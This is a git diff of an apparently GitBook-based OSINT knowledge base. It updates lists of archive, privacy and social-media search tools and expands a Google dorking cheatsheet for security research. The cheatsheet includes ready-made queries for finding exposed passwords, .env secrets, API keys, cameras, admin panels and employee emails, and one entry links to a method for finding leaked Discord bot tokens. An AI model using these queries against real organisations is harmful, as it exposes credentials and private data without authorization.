-virtualenv -p python3.7 .venv #If using a virtual environment. -source .venv/bin/activate #If using a virtual environment. +virtualenv -p python3.7 .venv # If using a virtual environment +source .venv/bin/activate # If using a virtual environment pip install -r requirements.txt -##Get Latest GHDB +## Get Latest GHDB python ghdb_scraper.py -s -j -i -##Run All Dorks +## Run All Dorks python pagodo.py -d example.com -g dorks/all_google_dorks.txt ``` {% endtab %} @@ -81,26 +80,26 @@ python pagodo.py -d example.com -g dorks/all_google_dorks.txt Archived Page Search Engines -Sometimes the page you are trying to find is no longer available. But it still may exist in web archives or cached data. Be sure to check these when you are getting stuck. +Web pages frequently become unavailable due to deletion, site restructuring, or domain expiration. However, archived versions often persist in web archives and cached data repositories. These resources are essential when investigating historical website content or tracking changes over time. -* [https://cipher387.github.io/quickcacheandarchivesearch/](https://cipher387.github.io/quickcacheandarchivesearch/) - An awesome tool that lets you search for older versions of websites via search engines and various web archive services. - * [Wayback Machine](https://web.archive.org/) - The gold standard web archive. if you are looking for a version of a web page at a specific place and time, check this! - * [waybackurls](https://github.com/tomnomnom/waybackurls) - CLI version of the Wayback Machine - * [https://archive.ph](https://archive.ph) - A time capsule for web pages! - * [https://www.webcitation.org](https://www.webcitation.org) (Depreciated) - WebCite is an on-demand archive site, designed to digitally preserve scientific and educationally important material on the web by making snapshots of Internet contents as they existed at the time when a blogger, or a scholar cited or quoted from it. +* [Quick Cache and Archive Search](https://cipher387.github.io/quickcacheandarchivesearch/) - Unified interface for searching multiple web archives and cached versions of websites simultaneously + * [Wayback Machine](https://web.archive.org/) - The most comprehensive web archive, containing billions of archived pages dating back to 1996. Essential for retrieving historical versions of web pages at specific dates and times + * [waybackurls](https://github.com/tomnomnom/waybackurls) - Command-line tool for retrieving all URLs archived for a domain from the Wayback Machine + * [archive.ph](https://archive.ph) - On-demand archiving service that creates permanent snapshots of web pages + * [Common Crawl](https://commoncrawl.org/) - Open repository of web crawl data collected since 2008, containing petabytes of archived web content -- [gau](https://github.com/lc/gau) - Get All URLs - Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl. - * [https://commoncrawl.org/](https://commoncrawl.org/) - Cached data from public web crawlers since 2008 +* [gau (Get All URLs)](https://github.com/lc/gau) - Command-line tool that fetches all known URLs for a domain from AlienVault's Open Threat Exchange, Wayback Machine, and Common Crawl
-Privacy Focused Search Engines +Privacy-Focused Search Engines -* [https://swisscows.com/](https://swisscows.com/) - The data-secure Google alternative. A search engine where your privacy is protected. Swisscows does not monitor or save any data. -* [https://www.gigablast.com/](https://www.gigablast.com/) and [https://private.sh/](https://private.sh/) - A "cryptographically-protected" private search engine. -* [https://www.startpage.com](https://www.startpage.com) - Startpage is a Dutch search engine company that highlights privacy as its distinguishing feature. +* [Swisscows](https://swisscows.com/) - Privacy-centric search engine that does not track, store, or profile users. All searches are encrypted and no data is logged +* [Gigablast](https://www.gigablast.com/) - Open-source private search engine. Note: Service availability can be intermittent +* [Startpage](https://www.startpage.com) - Privacy-focused search engine that delivers Google search results without tracking or storing user information. Based in the Netherlands with strong privacy protections +* [DuckDuckGo](https://duckduckgo.com/) - Privacy-focused search engine that doesn't track users or personalize search results
@@ -108,36 +107,57 @@ Sometimes the page you are trying to find is no longer available. But it still m Metasearch Engines -* [https://www.faganfinder.com/](https://www.faganfinder.com/) - One of the best metasearch tools there is. Allows you to search through search engines, social media, encyclopedias, libraries, news, government, documents and much more. -* [https://www.exalead.com/search/web/](https://www.exalead.com/search/web/) - A high-end data discovery and search platform that powers search, data collection, and indexing among all technology solutions. -* [https://all-io.net/](https://all-io.net/) - A metasearch engine that combines all major search engines into one. They also allow you to create, configure and customize your own engine. +* [FaganFinder](https://www.faganfinder.com/) - Comprehensive metasearch tool providing unified access to numerous search engines, social media platforms, encyclopedias, libraries, news sources, government databases, and document repositories +* [All-io.net](https://all-io.net/) - Customizable metasearch engine aggregating results from major search engines. Allows users to create and configure personalized search engine interfaces
-Misc Search Engines and Utilities +Miscellaneous Search Engines and Utilities + +Additional specialized search engines and utilities for comprehensive OSINT research. -This section contains miscellaneous search engines and utilities. +* [Search Engine Colossus](https://www.searchenginecolossus.com/) - Comprehensive directory of search engines worldwide, organized by country and region +* [Million Short](https://millionshort.com/) - Unique search engine that filters out the top 100, 1,000, 10,000, 100,000, or 1 million most popular websites, revealing lesser-known sources and obscure content +* [LeakIX](https://leakix.net/) - Specialized search engine indexing publicly exposed systems and data leaks, combined with an open reporting platform for security findings -* [Search Engine Colossus](https://www.searchenginecolossus.com/) - Giant list of the various search engines from across the globe. -* [Million Short ](https://millionshort.com/)- Want to search for something not on the top 1 million web pages? This does it. -* [https://leakix.net/](https://leakix.net/) - LeakIX is the first platform combining a **search engine indexing public information** AND an **open reporting platform** linked to the results. -* International Search Engines - * Russia - [https://yandex.com/](https://yandex.com/) - * China - [https://www.baidu.com](https://www.baidu.com) - * Japan - [https://www.goo.ne.jp/](https://www.goo.ne.jp/) - * Korea - [https://www.daum.net/](https://www.daum.net/) - * Iran - [https://www.parseek.com](https://www.parseek.com/) - * Large list of other search engines - [https://ohshint.gitbook.io/oh-shint-its-a-blog/osint-web-resources/search-engines](https://ohshint.gitbook.io/oh-shint-its-a-blog/osint-web-resources/search-engines) -* [https://www.blogsearchengine.org/](https://www.blogsearchengine.org/) - A great tool for searching blogs online. Search for a blog, submit your own blogs, or subscribe to an RSS feed on the blog topic. -* [https://boardreader.com/ ](https://boardreader.com/) - Multi-forum search engine -* [Firebounty](https://firebounty.com) — Bug bounty search engine +**International Search Engines** + * Russia - [Yandex](https://yandex.com/) - Leading Russian search engine, essential for research targeting Russian-language content + * China - [Baidu](https://www.baidu.com) - Dominant Chinese search engine, necessary for accessing content within China's internet ecosystem + * Japan - [Goo](https://www.goo.ne.jp/) - Popular Japanese search engine and web portal + * Korea - [Daum](https://www.daum.net/) - Major South Korean search engine and web portal + * Iran - [Parseek](https://www.parseek.com/) - Persian-language news aggregator and content portal (primarily aggregates news rather than providing web search) + * Additional resources - [OH SHINT! Search Engine List](https://ohshint.gitbook.io/oh-shint-its-a-blog/osint-web-resources/search-engines) - Extensive compilation of international and specialized search engines + +**Specialized Content Search** +* [Blog Search Engine](https://www.blogsearchengine.org/) - Dedicated blog search platform with options to search, submit, and subscribe to RSS feeds by topic +* [Boardreader](https://boardreader.com/) - Multi-forum search engine indexing discussions across thousands of forums and message boards +* [Firebounty](https://firebounty.com) - Search engine specifically for bug bounty programs and vulnerability disclosure information
-## **Training** +## Deprecated and Inactive Tools + +The following tools and services are no longer maintained or have been discontinued. They are listed here for historical reference and to prevent wasted time attempting to use them. + +### Google Dorking Tools +* [ASHOK](https://github.com/ankitdobhal/Ashok) - OSINT Swiss Army knife. Repository archived and no longer maintained +* [Googd0rker](https://github.com/ZephrFish/GoogD0rker/) - Automated Google dork launcher for domain-specific OSINT. Repository last updated in 2018 -* [https://tryhackme.com/room/googledorking](https://tryhackme.com/room/googledorking) -* [https://www.blackhat.com/presentations/bh-europe-05/BH\_EU\_05-Long.pdf](https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf) - Blackhat presentation on Google Hacking +### Archive Services +* [WebCite](https://www.webcitation.org) - On-demand archive service formerly used for preserving cited web content in academic and scientific publications. **No longer accepting new archiving requests as of 2020.** Existing archives remain accessible + +### Search Engines +* [Exalead](https://www.exalead.com/search/web/) - Enterprise search platform acquired by Dassault Systèmes and transitioned to Netvibes. The public web search interface is no longer available + +## **Training and Educational Resources** + +* [Google Hacking for Penetration Testers](https://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Long.pdf) - Classic Black Hat Europe presentation on Google Hacking techniques and methodology + +Hands-on training has been moved to the Training section. + +{% content-ref url="../../../training/" %} +[training](../../../training/) +{% endcontent-ref %} diff --git a/cyber-intelligence/osint/search-engines/google-dorking-cheatsheet.md b/cyber-intelligence/osint/search-engines/google-dorking-cheatsheet.md index ea31695..f6d163d 100644 --- a/cyber-intelligence/osint/search-engines/google-dorking-cheatsheet.md +++ b/cyber-intelligence/osint/search-engines/google-dorking-cheatsheet.md @@ -1,6 +1,8 @@ # Google Dorking -### Google Dork Collections +Google Dorking (also known as Google Hacking) is a technique that uses advanced search operators to find specific information indexed by Google. This technique is commonly used in security assessments, penetration testing, and OSINT investigations to discover exposed sensitive information, vulnerable systems, and misconfigured websites. + +## Google Dork Collections * [https://github.com/BullsEye0/google\_dork\_list](https://github.com/BullsEye0/google\_dork\_list) * [https://github.com/rootac355/SQL-injection-dorks-list](https://github.com/rootac355/SQL-injection-dorks-list) @@ -12,40 +14,216 @@ * [https://github.com/sushiwushi/bug-bounty-dorks](https://github.com/sushiwushi/bug-bounty-dorks) * [https://github.com/hackingbharat/bug-bounty-dorks-archive/blob/main/bbdorks](https://github.com/hackingbharat/bug-bounty-dorks-archive/blob/main/bbdorks) * [https://github.com/Vinod-1122/bug-bounty-dorks/blob/main/Dorks.txt](https://github.com/Vinod-1122/bug-bounty-dorks/blob/main/Dorks.txt) -* Backlinks - * [https://github.com/alfazzafashion/Backlink-dorks](https://github.com/alfazzafashion/Backlink-dorks) - * [https://www.techywebtech.com/2021/08/backlink-dorks.html](https://www.techywebtech.com/2021/08/backlink-dorks.html) - * [https://www.blackhatworld.com/seo/get-backlinks-yourself-1150-dorks-for-forum-hunting.380843/](https://www.blackhatworld.com/seo/get-backlinks-yourself-1150-dorks-for-forum-hunting.380843/) - * CMS Dorks - * Wordpress [https://pastebin.com/A9dsmgHQ](https://pastebin.com/A9dsmgHQ) - * Magento [https://pastebin.com/k75Y2QhF](https://pastebin.com/k75Y2QhF) - * Joomla [https://pastebin.com/vVQFTzVC](https://pastebin.com/vVQFTzVC) - -### Google Dorking Cheatsheet - -* @\[Search term] Searches a keyword on social media -* “Search term” Searches an exact match -* “Search \* term” Searches the \* for any wildcard -* (+) (-) (“) (.) (\*) (|) (“String” | String) Force inclusion of something common Exclude a search term Use quotes around a search phrase A single-character wildcard Any word boolean ‘OR‘ Parenthesis group queries 06 cache:\[url] Searches for cached versions of a site or page -* numrange\[#]..\[#] -* daterange:startdate-enddate Must be expressed in \*Julian time (and only in integers) - * The number of days that have passed since January 1, 4713 B.C. unlike Gregorian days (those on the calendar) -* link: \[url] Shows links to the URL and helps determine site relation- ships and more importantly trust relationships; this gets treated like normal search text (not a modifier) when com- bined with other search terms though. -* related: \[url] Searches related to your search term -* intitle: string to search Show only those pages that have the term in their html title -* allintitle:\[string] Similar to intitle, but looks for all the specified terms in the title -* inurl: \[string] Searches for the specified term in the url; for example inurl:”login.php”. (Can also do :port) -* allinurl:\[url] Same as inurl, but searches for all terms in the url -* intext:“String to search” Searches the content of the page and similar to a plain Google search; for example intext:”index of /”. -* allintext: “String to search” Similar to intext, but searches for all terms to be present in the text 07 filetype: \[xls] Searches for specific file types; filetype:pdf will looks for pdf files in websites. -* phonebook:\[name] -* \[URL]\&strip=1 Added to the end of a cached URL only shows Google’s text, not the target’s; perform a Google search, right-click copy/ paste the link and then paste the URL adding \&strip=1 -* site.com/search?q=inurl:admin.PhP\&start=10 Changing your query to vary the extension case and modifying the query can help defeat some of Google’s blockers which work to defeat your search query -* site.com/search?q=@email.com Searching for email addresses -* site:site.com -site:obivousresult.com Eliminates obvious results, reducing most public, top ‘ranked’ unwanted results and bringing more useful results to the top of the search; you are looking for the relation- ship of links in both inbound and outbound directions -* inurl: Port scanning, can be combined with the site operator -* inurl:8080 -intext:8080 Servers listening on port 8080 removing results with 8080 in the page -* filetype:inc intext:mysql\_connect filetype:sql + “IDENTIFIED BY” -cvs Search combinations that goes after files with cleartext SQL passwords and credentials -* intitle:”VNC viewer” Example of a search for sites that launch a VNC client - -**Source:** [**https://know.bishopfox.com/hubfs/mkt-coll/Bishop-Fox-Breaking-and-Entering-Pocket-Guide.pdf**](https://know.bishopfox.com/hubfs/mkt-coll/Bishop-Fox-Breaking-and-Entering-Pocket-Guide.pdf)**** +* CMS and SQL injection dork collections are useful for web application testing. Keep exploitation context in the web application and offensive testing sections. + +{% content-ref url="../../../web-app-hacking/" %} +[web-app-hacking](../../../web-app-hacking/) +{% endcontent-ref %} + +## Google Dorking Cheatsheet + +### Basic Search Operators + +* **@[username]** - Searches for social media tags or usernames + * Example: `@twitter` or `@johndoe` + * Results vary by platform and context +* **"search term"** - Searches for an exact phrase match +* **"search * term"** - Uses asterisk (*) as a wildcard to match any word +* **-[term]** - Excludes a specific term from search results +* **term1 | term2** - Boolean OR operator; finds pages with either term +* **OR** - Alternative syntax for the | operator (e.g., `term1 OR term2`) +* **(term1 | term2)** - Parentheses group multiple queries together +* **#..#** - Number range operator; finds numbers within a range + * Example: `camera $200..$500` finds cameras priced between $200-$500 + * Much more reliable than the deprecated `numrange:` operator +* **AROUND(X)** - Proximity search; finds pages where terms appear within X words of each other + * Example: `security AROUND(3) breach` finds pages where "security" and "breach" are within 3 words + * Note: This operator is not officially documented and may have inconsistent results in standard Google Search + * Works more reliably in Google Scholar and Google Books + +### Advanced Search Operators + +* **site:[domain]** - Limits results to a specific domain or website + * Example: `site:example.com` or `site:.gov` + * One of the most reliable and useful operators for security research +* **info:[url]** - Shows information Google has about a specific URL + * Example: `info:example.com` + * Note: This operator's functionality has been reduced and may simply redirect to a search for the URL + +### Content-Specific Operators + +* **intitle:[string]** - Shows pages with the specified term in the HTML title + * Example: `intitle:"index of"` +* **allintitle:[string]** - Shows pages with all specified terms in the HTML title +* **inurl:[string]** - Searches for the specified term in the URL + * Example: `inurl:admin` or `inurl:login.php` +* **allinurl:[string]** - Shows pages with all specified terms in the URL +* **intext:[string]** - Searches for the specified term in the page content + * Example: `intext:"index of /"` +* **allintext:[string]** - Shows pages with all specified terms in the page content +* **filetype:[extension]** - Searches for specific file types + * Example: `filetype:pdf`, `filetype:xls`, `filetype:sql`, `filetype:env` + * Note: `ext:` is sometimes mentioned as an alternative but is not officially documented; use `filetype:` for reliability + * Extremely powerful for finding exposed documents and configuration files + * Common security-relevant extensions: `env`, `config`, `log`, `bak`, `sql`, `conf`, `yml`, `yaml` + +### Additional Useful Operators + +* **before:[date]** and **after:[date]** - Filters results by publication date + * Example: `data breach after:2024-01-01 before:2024-12-31` + * Format: YYYY-MM-DD + * More reliable than the deprecated `daterange:` operator + +### Advanced Combination Techniques + +These examples demonstrate powerful combinations of multiple operators: + +* **Finding exposed credentials and sensitive files:** + * `site:pastebin.com "password" "@company.com"` + * `filetype:env "DB_PASSWORD"` + * `filetype:sql intext:"INSERT INTO" intext:"password"` + * `site:github.com "api_key" OR "apikey" -example -sample` + +* **Discovering subdomains and related infrastructure:** + * `site:*.example.com -www` + * `site:example.com inurl:admin OR inurl:login OR inurl:dashboard` + * `inurl:example.com -site:example.com` (finds references to the domain elsewhere) + +* **Finding specific vulnerabilities or technologies:** + * `intitle:"index of" site:example.com filetype:log` + * `inurl:"/phpinfo.php" "PHP Version"` + * `intitle:"Apache Status" "Apache Server Status for"` + * `inurl:wp-admin site:*.edu` (finds WordPress admin pages on .edu domains) + +* **Locating exposed documents with sensitive data:** + * `filetype:xlsx site:gov.uk intext:"confidential"` + * `filetype:pdf "internal use only" AROUND(5) budget` + * `(filetype:doc OR filetype:docx) "not for distribution"` + +* **Finding exposed cameras and IoT devices:** + * `intitle:"webcamXP 5" OR intitle:"webcam 7"` + * `inurl:"/view/index.shtml" "Network Camera"` + * `intitle:"Axis Video Server" | intitle:"Live View"` + +* **Excluding common false positives:** + * `security breach -example -sample -test -demo` + * `api key site:github.com -tutorial -"how to" -documentation` + +### Operators with Limited Reliability + +These operators may still work but have known issues or inconsistent behavior: + +* **cache:[url]** - Previously displayed Google's cached version of a specific page + * **Status**: Google removed the cache link from search results in February 2024 + * **Issue**: While the operator may still work occasionally, it's no longer officially supported + * **Alternative**: Use [Archive.org Wayback Machine](https://web.archive.org/) or [archive.today](https://archive.today/) for historical page snapshots + * **Recommendation**: Don't rely on this operator; use dedicated archiving services instead + +* **numrange:[#]..[#]** - Searches for numbers within a specified range + * **Status**: Inconsistent behavior across different searches + * **Issue**: Often returns irrelevant results or fails to properly filter by the specified range + * **Alternative**: Combine multiple searches with specific numbers or use site-specific search features + * **Recommendation**: Test thoroughly if you need to use this; consider it unreliable for production use + +* **daterange:[startdate]-[enddate]** - Filters results by date range using Julian dates + * **Status**: Julian date format support has degraded significantly + * **Issue**: Complex date format (days since 4713 B.C.) is unintuitive and no longer processes reliably + * **Alternative**: Use Google's built-in date filter (Tools → Any time → Custom range) + * **Recommendation**: Always use the native UI date filter instead; it's more reliable and user-friendly + +### Deprecated Operators (No Longer Functional) + +These operators have been officially removed by Google and will not return results: + +* **phonebook:[name]** - Previously searched phone book listings + * **Deprecated**: 2010 + * **Reason**: Privacy concerns and shift away from public directory services + * **Alternative**: Use specialized people search services or OSINT tools like Pipl, Spokeo, or WhitePages + +* **related:[url]** - Previously found websites similar to a specified URL + * **Deprecated**: 2017 + * **Reason**: Google discontinued this feature without official explanation + * **Alternative**: Use [SimilarWeb](https://www.similarweb.com/) or manual analysis of competing sites + +* **link:[url]** - Previously showed pages that link to a specified URL + * **Deprecated**: Gradually phased out around 2017-2019 + * **Reason**: Incomplete data and potential for abuse in SEO manipulation + * **Alternative**: Use professional SEO tools: + * [Ahrefs](https://ahrefs.com/) - Comprehensive backlink analysis + * [SEMrush](https://www.semrush.com/) - Backlink checker and competitor analysis + * [Google Search Console](https://search.google.com/search-console) - Official Google tool for your own sites + * [Moz Link Explorer](https://moz.com/link-explorer) - Free limited backlink data + * **Note**: For security research, backlink analysis can reveal relationships between domains and potential attack vectors + +### Practical Examples for Security Research + +#### Finding Exposed Directories +* `intitle:"index of" "parent directory"` +* `inurl:"index of /" site:example.com` + +#### Discovering Login Pages +* `inurl:admin.php site:example.com` +* `intitle:"login" inurl:admin` + +#### Identifying Exposed Files +* `filetype:sql "INSERT INTO" password` +* `filetype:inc intext:mysql_connect` +* `filetype:sql + "IDENTIFIED BY" -cvs` + +#### Finding Vulnerable Servers +* `inurl:8080 -intext:8080` - Servers listening on port 8080 +* `intitle:"VNC viewer"` - VNC remote access interfaces + +#### Searching for Email Addresses +* `site:example.com "@example.com"` +* `intext:"@example.com" filetype:xls` + +#### Refining Search Results +* `site:example.com -site:obvious.example.com` - Excludes obvious/known subdomains to surface hidden content + +### Advanced Techniques + +#### Case Variation +* Varying the case of file extensions can help bypass some search restrictions +* Example: `admin.php`, `admin.PhP`, `admin.PHP` +* Note: This technique is less effective than it used to be as Google's search is increasingly case-insensitive + +#### Query Optimization Tips +* **Use wildcards strategically**: `"admin * panel"` is more flexible than `"admin panel"` +* **Combine site with minus**: `site:.gov -site:.mil` searches government sites excluding military +* **Stack multiple file types**: `(filetype:sql OR filetype:db OR filetype:mdb)` finds multiple database file types +* **Use parentheses for complex logic**: `site:example.com (inurl:admin | inurl:login) -inurl:demo` + +#### Relationship Mapping +* `site:target.com -site:www.target.com` - Finds subdomains and related infrastructure +* `"target.com" -site:target.com` - Finds external references to the target domain +* `site:*.target.com` - Discovers all indexed subdomains +* `"contact@target.com" OR "@target.com" -site:target.com` - Finds employee email addresses on external sites + +#### Multi-Operator Searches for Comprehensive Recon +* `site:target.com (inurl:admin OR inurl:login OR inurl:panel) (intext:username OR intext:password)` +* `site:target.com (filetype:php OR filetype:asp OR filetype:aspx) inurl:id=` +* `site:target.com (filetype:pdf OR filetype:doc OR filetype:xls) (confidential OR internal OR private)` + +## Important Notes for Security Professionals + +### Legal and Ethical Considerations +* **Always get authorization**: Only perform Google dorking on systems you have permission to test +* **Respect robots.txt**: Google respects robots.txt for crawling, but indexed content may still appear in search results +* **Responsible disclosure**: If you discover exposed sensitive data, follow responsible disclosure practices +* **Automation concerns**: Excessive automated queries may trigger Google's CAPTCHA or rate limiting + +### Best Practices +* **Document your findings**: Keep detailed logs of your queries and results for reporting +* **Use VPN/proxies for sensitive searches**: Protect your identity when researching threat actors +* **Combine with other OSINT tools**: Google dorking is most effective as part of a comprehensive reconnaissance strategy +* **Stay updated**: Google frequently changes how operators work; always verify current functionality +* **Alternative search engines**: Consider using Bing, DuckDuckGo, or specialized search engines like Shodan for different perspectives + +--- + +**Sources:** +* [Bishop Fox Breaking and Entering Pocket Guide](https://know.bishopfox.com/hubfs/mkt-coll/Bishop-Fox-Breaking-and-Entering-Pocket-Guide.pdf) +* [Google Search Operators Documentation](https://support.google.com/websearch/) +* Community-contributed techniques and best practices + diff --git a/cyber-intelligence/osint/search-engines/goohak.sh-code.md b/cyber-intelligence/osint/search-engines/goohak.sh-code.md index e0acc2a..662d11f 100644 --- a/cyber-intelligence/osint/search-engines/goohak.sh-code.md +++ b/cyber-intelligence/osint/search-engines/goohak.sh-code.md @@ -4,6 +4,14 @@ description: https://github.com/1N3/Goohak/blob/master/goohak # Goohak.sh Code +{% hint style="warning" %} +This page is a historical reference for the original Goohak script. Several embedded URLs in the script are now stale or discontinued, including older Censys paths, XSSposed, PunkSpider, and ThreatCrowd. Use the maintained Google dorking page and EasyRecon for current workflows. +{% endhint %} + +{% content-ref url="google-dorking-cheatsheet.md" %} +[google-dorking-cheatsheet.md](google-dorking-cheatsheet.md) +{% endcontent-ref %} + ``` #!/bin/bash # + -- --=[GooHak by @xer0dayz diff --git a/cyber-intelligence/osint/socmint-social-media.md b/cyber-intelligence/osint/socmint-social-media.md index 25386e0..19d4430 100644 --- a/cyber-intelligence/osint/socmint-social-media.md +++ b/cyber-intelligence/osint/socmint-social-media.md @@ -4,33 +4,53 @@ General Social Media Search Tools -* [Custom Google SE - Social Networks](https://bit.ly/2ma3ANe) -* [Social Searcher](https://www.social-searcher.com/) - Free Social Media Search Engine -* [Profil3r](https://github.com/Rog3rSm1th/Profil3r) - Profil3r is an [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence) tool that allows you to find potential profiles of a person on social networks, as well as their email addresses. This program also alerts you to the presence of a data leak for the found emails. -* [Social Media Hashtag Search](https://cipher387.github.io/hashtags\_and\_keywords\_social\_media\_quick\_search/) - Handy search tool for searching by topic across 70+ platforms. -* [social\_mapper](https://github.com/Greenwolf/social\_mapper) - A Social Media Enumeration & Correlation Tool by Jacob Wilkin(Greenwolf) -* [https://www.osintcombine.com/world-social-media-platforms](https://www.osintcombine.com/world-social-media-platforms) - A tool from the OSINTCombine that lets you search for popular social media platforms by country. +* [Custom Google SE - Social Networks](https://bit.ly/2ma3ANe) - Custom Google Search Engine for searching across multiple social networking platforms. +* [Social Searcher](https://www.social-searcher.com/) - Free social media search engine for real-time mentions and analytics across multiple platforms. +* [Profil3r](https://github.com/Rog3rSm1th/Profil3r) - An [OSINT](https://en.wikipedia.org/wiki/Open-source\_intelligence) tool that identifies potential social media profiles and email addresses associated with a person. Also provides alerts for data leaks related to discovered email addresses. +* [Social Media Hashtag Search](https://cipher387.github.io/hashtags\_and\_keywords\_social\_media\_quick\_search/) - Quick search tool for finding hashtags and keywords across 70+ social media platforms. +* [social\_mapper](https://github.com/Greenwolf/social\_mapper) - Social media enumeration and correlation tool by Jacob Wilkin (Greenwolf) for mapping profiles across multiple platforms. **Note:** Last updated 2019; some features may not work with current platforms. +* [https://www.osintcombine.com/world-social-media-platforms](https://www.osintcombine.com/world-social-media-platforms) - Tool from OSINT Combine for discovering popular social media platforms by country. * [https://www.osintcombine.com/alt-tech-social-search](https://www.osintcombine.com/alt-tech-social-search) - A Google CSE from OSINT Combine that searches across alternative and "non-mainstream" social platforms and boards including Parler, Gab, Minds, BitChute, DLive.tv, Rumble, JustPaste.it, WrongThink.net & 8kun. -* [https://one-plus.github.io/access.html](https://one-plus.github.io/access.html) - Provides easy to use tools for Facebook, Instagram, Twitter, Reddit, SnapChat, YouTube, Periscope, Twitch, Google+, LinkedIn and more. -* [https://www.smat-app.com](https://www.smat-app.com) - The Social Media Analysis Toolkit (SMAT) was designed to help facilitate activists, journalists, researchers, and other social good organizations to analyze and visualize harmful online trends such as hate, mis-, and disinformation on a variety of platforms including Reddit, Gab, Parler, 4chan, 8kun, Telegram, Gettr and more. -* [https://app.skylens.io](https://app.skylens.io) - Find geotagged posts from five social networks at once on one map. Includes Twitter, YouTube, Instagram, Flickr and Vkontakte. -* [https://findmyfbid.in/](https://findmyfbid.in/) - A collection of tools for Facebook, Twitter, Instagram, Reddit and YouTube. Find user IDs, search comments on Reddit, calculate earnings from a YouTube channel and more. -* [Orion](https://github.com/Araekiel/orion) — open-Source Search Engine for social networking websites. -* [Hashatit.com](https://www.hashatit.com/) — hastag searchengine. Search in twitter, instagram, facebook, youtube, pinterest -* [https://github.com/p1ngul1n0/blackbird](https://github.com/p1ngul1n0/blackbird) - An OSINT tool to search for accounts by username in social networks. -* [https://www.crowdtangle.com/features](https://www.crowdtangle.com/features) - Easily follow public content across Facebook, Instagram and Reddit. +* [https://one-plus.github.io/access.html](https://one-plus.github.io/access.html) - Collection of easy-to-use OSINT tools for Facebook, Instagram, X/Twitter, Reddit, Snapchat, YouTube, Twitch, LinkedIn, and other platforms. +* [https://www.smat-app.com](https://www.smat-app.com) - The Social Media Analysis Toolkit (SMAT) enables activists, journalists, researchers, and social good organizations to analyze and visualize harmful online trends including hate speech, misinformation, and disinformation across platforms such as Reddit, Gab, Parler, 4chan, 8kun, Telegram, Gettr, and more. +* [https://app.skylens.io](https://app.skylens.io) - Geolocation visualization tool that displays geotagged posts from five social networks (Twitter, YouTube, Instagram, Flickr, and Vkontakte) on a single map. +* [https://findmyfbid.in/](https://findmyfbid.in/) - Multi-platform toolkit for Facebook, Twitter, Instagram, Reddit, and YouTube. Features include finding user IDs, searching Reddit comments, and calculating YouTube channel earnings. +* [Orion](https://github.com/Araekiel/orion) - Open-source search engine for social networking websites. +* [Hashatit.com](https://www.hashatit.com/) - Hashtag search engine supporting Twitter, Instagram, Facebook, YouTube, and Pinterest. +* [https://www.crowdtangle.com/features](https://www.crowdtangle.com/features) - **DEPRECATED:** CrowdTangle was shut down by Meta in August 2024. Replaced by Meta Content Library (requires academic/research access). +* [Social-Analyzer](https://github.com/qeeqbox/social-analyzer) - API, CLI, and web app for analyzing and finding a person's profile across 1000+ social media/websites. -{% file src="../../.gitbook/assets/Communities.html" %} +General username enumeration tools such as Sherlock, WhatsMyName, Maigret, and Blackbird are maintained on the Username/Email page. + +{% content-ref url="username-email.md" %} +[username-email.md](username-email.md) +{% endcontent-ref %} + +Local helper copy: [Communities.html](../../.gitbook/assets/Communities.html) + +
+ +TikTok + +* [TikTok Creative Center](https://ads.tiktok.com/business/creativecenter/inspiration/popular/hashtag/pc/en) - Discover trending hashtags, songs, creators, and videos with analytics data. +* [https://mavekite.com](https://mavekite.com) - TikTok profile and video downloader without watermarks. Analyze user statistics and engagement metrics. **Note:** Third-party TikTok tools may experience intermittent functionality. +* [https://urlebird.com](https://urlebird.com) - Web-based TikTok profile and video viewer with search functionality. View content without a TikTok account. **Note:** May change domains or experience downtime. +* [TikTok Username Search](https://tiktok.com/@username) - Direct profile access by replacing "username" with the target account name. +* [https://www.osintcombine.com/tiktok-quick-search](https://www.osintcombine.com/tiktok-quick-search) - Quick search tools for TikTok usernames, hashtags, and sounds. +* [TikTok Hashtag Analysis](https://tokboard.com/) - Analytics and tracking for TikTok hashtags and trending content. + +
Clubhouse -* [https://clubhousedb.com](https://clubhousedb.com) - A free Clubhouse analytics tool. Find the most followed users and clubs using this database. -* [https://roomsofclubhouse.com](https://roomsofclubhouse.com) - Search open and scheduled rooms in the Clubhouse app. -* [https://clubsearch.io](https://clubsearch.io) - Search open and scheduled rooms. +**Note:** Clubhouse has significantly declined in popularity since 2021. Limited active content and users. + +* [https://clubhousedb.com](https://clubhousedb.com) - Free Clubhouse analytics tool for discovering the most followed users and clubs. +* [https://roomsofclubhouse.com](https://roomsofclubhouse.com) - Search engine for finding open and scheduled rooms in the Clubhouse app.
@@ -42,11 +62,11 @@ * [https://discordbee.com](https://discordbee.com) - A search engine for public Discord servers. * [https://discordservers.com/browse](https://discordservers.com/browse) - Another great search engine for public Discord servers. * [https://discordhub.com/user/search](https://discordhub.com/user/search) - A tool for searching Discord users. -* [https://discord.id](https://discord.id) - Another good tool for searching Discord users -* [https://top.gg](https://top.gg) - Search for Discord bots. -* [https://pixelatomy.com/snow-stamp/](https://pixelatomy.com/snow-stamp/) - A "snowflake" is essentially a unique ID for a resource which contains a timestamp. You can copy the snowflake from a message, user, channel, etc by right clicking on them in Discord. This will let you check the age of a Discord account or server. -* [https://dht.chylex.com](https://dht.chylex.com) - Lets you save chat history in your servers, groups, and private conversations, and view it offline. Be careful, as this tool technically goes against Discord's ToS, so its possible that you could get your account banned! -* [https://github.com/traumatism/get-discord-bots-tokens-with-google](https://github.com/traumatism/get-discord-bots-tokens-with-google) +* [https://discord.id](https://discord.id) - Additional tool for searching Discord users. +* [https://top.gg](https://top.gg) - Discord bot directory and search engine. +* [https://pixelatomy.com/snow-stamp/](https://pixelatomy.com/snow-stamp/) - Snowflake decoder that converts Discord's unique IDs (snowflakes) into timestamps. Snowflakes can be obtained by right-clicking on messages, users, or channels in Discord. Useful for determining the age of Discord accounts or servers. +* [https://dht.chylex.com](https://dht.chylex.com) - Discord History Tracker allows you to save and view chat history offline from servers, groups, and private conversations. **Warning:** This tool violates Discord's Terms of Service and may result in account suspension. +* [https://github.com/traumatism/get-discord-bots-tokens-with-google](https://github.com/traumatism/get-discord-bots-tokens-with-google) - Technique for finding exposed Discord bot tokens through Google dorking. **Warning:** For security research and vulnerability assessment only. @@ -54,12 +74,12 @@ Facebook -* [https://www.osintcombine.com/facebook-search-tools](https://www.osintcombine.com/facebook-search-tools) - A simple way to quickly search for multiple keywords from a list or open mutual friends for multiple profiles at the same time. It simply loads a new tab for each word or ID searched to create efficiency when working from a list of search terms or IDs, it does not do any advanced searching or automation. 